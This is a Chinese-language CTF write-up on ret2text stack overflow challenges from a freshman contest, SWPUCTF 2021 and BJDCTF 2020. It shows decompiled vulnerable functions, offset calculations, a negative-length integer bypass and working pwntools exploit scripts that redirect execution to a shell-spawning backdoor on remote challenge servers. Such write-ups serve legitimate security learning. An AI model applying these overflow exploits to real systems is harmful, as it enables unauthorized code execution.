前言
chen✌新生赛出了道ret2text的基础题,孩子不懂事学着玩结果做出来了,那就顺便记录一下
原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
实战
ret2text (from NISA内部新生赛)
拿到附件
丢进虚拟机chmod +x
给权限,然后checksec
64位开NX保护,丢进ida64
f5查看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("ret2text");
read(0, buf, 060uLL);
return 0;
}
可以发现这里有一个read()
函数接收我们输入的值,可以实现溢出
参数buf的范围是0-20h,因为这个程序是64位的,指针的大小为8字节,所以这里的偏移量应该为0x20 + 0x8
接下来我们shift+f12进行全局搜索
找到/bin/sh,双击一下
发现在backdoor方法里,点一下然后按tab键(有时候是tab+space)查看汇编视图
找到进入方法的地址为0x4011E1
那就可以直接编写exp拿shell
from pwn import *
p = remote("156.224.22.161", "49224")
offset = 0x20+0x8
get_flag_addr = 0x4011E1
payload = offset * b'a' + p64(get_flag_addr)
p.sendline(payload)
p.interactive()
[SWPUCTF 2021 新生赛]gift_pwn
常规操作
是64位
ida64 f5看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}
跟踪到vuln函数
ssize_t vuln()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
return read(0, buf, 0x64uLL);
}
定义长度16,读取0x64=100,存在溢出,64位下偏移量为0x10+0x8
shift+f12查看字符串找到/bin/sh
继续双击跟踪右边的gift
跟踪上去后tab+space查看汇编代码
得到进入方法的地址0x4005B6
写exp
from pwn import *
io = remote("node1.anna.nssctf.cn", "28060")
offset = 0x10+0x8
binsh_addr = 0x4005B6
payload = offset * b'a' +p64(binsh_addr)
io.sendline(payload)
io.interactive()
整数溢出
考点知识待补充
[BJDCTF 2020]babystack2.0
基操
ida64 f5看main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
我们一开始输入的会作为nbytes的值,然后nbytes会作为read函数读取的长度,而nbytes的值不能超过10
可以注意到read函数这里的nbytes用了unsigned int,也就是说我们可以输入负数来绕过上面的限制
buf定义12,64位下偏移量为0x10+0x8
shift+f12找到/bin/sh
一路跟踪到backdoor
得到地址0x400726
编写exp
from pwn import *
io = remote("node2.anna.nssctf.cn", "28162")
#context.log_level = "debug"
offset = 0x10+0x8
binsh_addr = 0x400726
payload = offset * b'a' +p64(binsh_addr)
io.recv()
io.sendline(b'-10000')
io.recv()
io.sendline(payload)
io.interactive()